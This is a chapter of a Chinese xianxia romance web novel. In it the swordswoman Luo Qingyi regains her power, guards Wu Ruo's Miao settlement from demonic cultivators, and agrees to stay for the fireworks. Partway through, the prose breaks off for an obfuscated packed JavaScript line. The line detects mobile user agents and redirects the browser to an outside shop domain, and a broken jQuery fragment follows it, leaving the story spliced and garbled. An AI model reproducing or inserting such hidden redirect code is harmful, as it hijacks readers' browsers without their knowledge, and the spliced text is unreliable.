15. 前尘事12(捉虫)
    纸鹤静静地展开,是巫偌的声音,还有俩小姑娘在旁边的碎碎念。周围的背景音也很乱,大概是在集市中,热闹非凡。

    对方说今日不回去了,问洛卿宜有没有什么要带的东西。旁边的俩小辈闹哄哄的,起哄让巫偌在最后附带个飞吻,惹得巫偌着急地解释了老半天。

    “并无。待你回来,有件事同你说。”

    洛卿宜对着纸鹤留了音,后者扑闪着翅膀飞走了。她将木枝制成的剑立在土壤中,又拔出来,在地上刻了几道复杂多变的纹案。

    连着走了苗疆一圈,她缓缓驱动灵力,便在十六处阵眼上落了强大的符纹。

    此阵法乃至元仙宗的护宗大法,只有修为极高的大能才可施展。可保护苗疆不受外敌入侵,亦可隐匿于修真界之中,宛如鬼打墙一般,令外人摸不到进入的通道。

    她本是不必做这些的,只是巫偌救了走火入魔坠入山崖的她,又待她极好。她应了却这段恩情,以免徒增因果,误了飞升正途。

    一直忙到深夜,洛卿宜才画好了半数的阵法,身形堪堪有些虚浮,是过度使用灵力导致。

    她习惯性回了巫偌的房舍,躺在床榻上的瞬间才意识到,昔日自己在透支灵力时,只需悬在落雪峰的雪松下静坐一宿,便能恢复至周身灵气充盈。

    而她现在,竟不自觉回了温暖的屋内,姿态也成了修炼效果平平的仰姿。

    习惯,真是件可怕的事。

    寒秋后半夜的夜空呈现出纯粹的黑,听着耳畔的风声,她起身出了小院,立在悬崖前静坐调息。

    这份习惯……不可保留。

    秋夜的冷风依旧静谧,一路吹至山脚的庭院。下山的巫偌此时也并未入睡,那痴心的圣女沐浴着寂寥的夜空,独自前往客舍的一旁的寺庙。

    高大的佛像威严肃穆,却又栩栩如生,溶溺在无边的黑暗里。大殿的正中央正燃着一根明亮的火烛,微弱的火光却随着巫偌的到来变得明亮。

    “关于她……”

    巫偌跪在贡台前诉说着心事。被无数双空灵的眼睛注视着,她双掌合一,露出一个抱歉的笑。

    “我的愿望太过荒谬……打扰诸位神灵了。

    她仰视着明烛的光焰,每一尊佛像都散发着一种庄重而神秘的气息,面容慈祥温和,永远都在悲悯世人。

    啪嗒。

    烛火森冷,在变了形的光束中,巫偌惊讶地抬起头。

    一只木牌不知何时落在了她的面前。木牌上方系着一道红绳,正面却是空空如也,没有字迹。反面被花纹填满,看上去诡异极了。

    周遭依旧是静谧无声的寺庙,四野空无一人。唯有桌上的火烛重新黯淡了下去,只留下微弱的火光。

    “你是有缘人……我把许愿笺赠给你,若是遇到难以抉择的事,便寻我来许愿吧……”

    这声音不似人声,莫名出现在了她脑海里,却又很快消失不见。

    徒留巫偌的身形隐匿在黑暗中,错愕失神。

    她攥起木牌,对这般怪力乱神的现象也并未吃惊,只是沉下气去,露出一抹自嘲的笑。

    “许愿么……”

    次日的巫偌依旧起得很早,下山完成了具体事务,便带着两个小跟班返回苗疆。

    走到苗疆门口时,值班的守卫们正在清理地上横七竖八的脏东西,见她前来,各个都用崇拜的目光看着她。

    “这是在……”

    春草好奇的话语并未出口,便听见守卫姐姐的声音:“圣女大人的阵法真是未雨绸缪!昨夜大概是子时往后,有外敌入侵,我们都没有发觉,是您布的阵法救了我们!”

    巫偌一愣,惊异地看着地上腥臭的黑块,吸入一口气息时便意识到这是高阶魔修。

    她的阵法也只是平平,只有被动防守的阻隔效果,并无强大的杀伤力。所以,将这般庞大数量的魔修一击毙命的人……是洛卿宜。

    再准确些,应该是……恢复巅峰实力的洛卿宜。

    她蹲在地上,闭眼探寻魔修的致命伤,一把拔出心脏处的檬子木尖刺。

    凛冽寒霜的气息,带着高山上清冷的落雪,内力又是无比的深厚,功力较先前失忆时不知高出多少倍。是洛卿宜所为,没错了。

    她拿着这枚尖刺,手腕却在微微颤抖。后怕,庆幸,自责,还有一丝……

    她该高兴的。她多幸运啊,洛卿宜之前救了她,现在又庇护了她的家园不受魔修伤害。那日她把练功受伤的洛卿宜带到自己家里,真是大功一件,她运气多好啊……

    “偌姐姐,你怎么了?”

    “嘘,闭嘴。还好有圣女大人的朋友在,是那位仙君保护了咱们部落。老师应该在自责吧,你别出声。”

    春草和兰汀的议论声在耳边飘过,但巫偌已经听不到了。她只是机械地动着,将树木的尖刺重新插回魔修尸体中,眼神却是一片混沌。

    当她不在时,洛卿宜替她守护了她的家园。再完美不过了。

    但她的心却一片死寂,只是虚虚维持着基本的跳动,暗自期待着一个不可能。

    对方恢复了巅峰实力,是不是也恢复了记忆?洛卿宜会走吗?

    她沉沉地叹了口气,站起身,却发现一旁有一具干枯的女尸。这姑娘面容已经腐烂,身体只剩下一层瘪下去的皮囊,完全认不出是谁。

    像是魔修吸食的祭品。

    巫偌莫名从这干尸上面感受到一丝的熟悉感,可脑海中实在没有人物与之对应。她百思不得其解,重新检查了周围损坏的痕迹,便发现她先前在苗疆门口布的阵法,已经被魔修击碎了。

    这是巫偌先前设置的阵周,是正门口一块并不起眼的圆盘。它呈现出钟表的模样,静静地缩在角落里。上面有着几道指针,代表着阵法被损坏程度。

    长针尚在,短针……怎么也是好的?

    她正欲上手拨弄,却听到一个声音阻止了她:“别碰。”

    “哇!师娘你来啦!难道这儿的魔修是你打的?”

    尚未回头,巫偌便听见春草的声音。她的手指颤了颤,硬生生地缩回袖子里,转身的动作却无比的慢。

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13581378|143119||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    袖子成了她的庇护伞,手指在遮挡下可以肆无忌惮地蜷缩着,不必声张自己的胆小如鼠。

    她的动作成了画面定格的慢镜头,旋转的角度慢得出奇,终究还是要面对她心心念念的那人。

    “……卿宜。”她道。

    洛卿宜“嗯”了一声,不知是在回复她,还是在回吱吱乱叫的春草。那剑修女子恢复了初次见面时的冰冷绝尘,手中并未负剑,但仍挺拔如初。

    她看着洛卿宜,洛卿宜看着她。目光在空气中缓缓交汇,如春季的野花开在了漠北的寒园。

    那双墨色的眸子里是平静,是波澜不惊,是与她划清界限的疏离。

    她哑口无言,大脑在一瞬间断了层,又堪堪挤出一句僵硬的话:“谢……谢谢你。”

    “举手之劳。”

    眼见洛卿宜从苗疆的大门缓缓走出,手中空无一物,但巫偌的心莫名跳了一下。

    她忽地想起,在传音纸鹤上,对方告诉她,待她回来,有件事要告诉她。

    约莫是这件了。

    “你……”她整理了下措辞,轻声道,“想起来了?”

    上午的天空该是明亮的,可她的世界莫名暗了暗,她将眼神移向别处,不愿再看洛卿宜的脸,只是静静地等待着对方宣判死刑。

    “嗯。”洛卿宜道。

    不像她这段时日里共枕同居的好友,反倒更像初次见面时手持长剑,威严赫赫的大能剑修。

    是她熟悉,又不熟悉的洛卿宜。

    她有种莫名的预感,像是洛卿宜此时出现在这里,并非偶然,而是正欲离开,至此再也不见。

    而她,无法抓住对方的离去。

    “你要……”巫偌闭了嘴,幸好对方礼数端正,沉下心来静静地等待着她话语结束。

    她能说什么……?

    说自己给洛卿宜带了礼物吗,可洛卿宜此时身上什么也没拿走,身为大能剑尊,根本不需要她一小小的蛊修送的身外之物。

    恳求对方传授她些手段,助她庇护部落吗?修真界的门派功法多半只传授本门徒儿,并无可能传授给一陌生部落的朋友……或者说,连朋友都算不上。

    她又想问洛卿宜,自己在对方的眼里是什么样的存在,可话语卡在嗓子眼里,她一句话也说不出。

    最终,她只是走到洛卿宜的身前,见对方没有阻拦,却也有自知之明地放弃了拥抱,而是轻轻地低下头去,声音也是细如蚊蚋。

    “能再等一天再走吗,我们都很感谢你,毕竟是你救了我们整个部落嘛,大家都,嗯,多亏了你……”

    她的声音越来越低,又突兀地生出一股勇气,声音终于大了些:“你愿意看看我们这儿的烟花吗。”

    她不敢直视洛卿宜的眼睛,却又坠着一颗心,在迷途的深海里沉浮,惶惶不安地等待着对方的答案。

    对面的洛卿宜微微颔首,举手投足之间较之前多了一份不可言说的威严,让她只可远观,不敢近距离靠近。

    她听到对方淡淡的声音:“好。”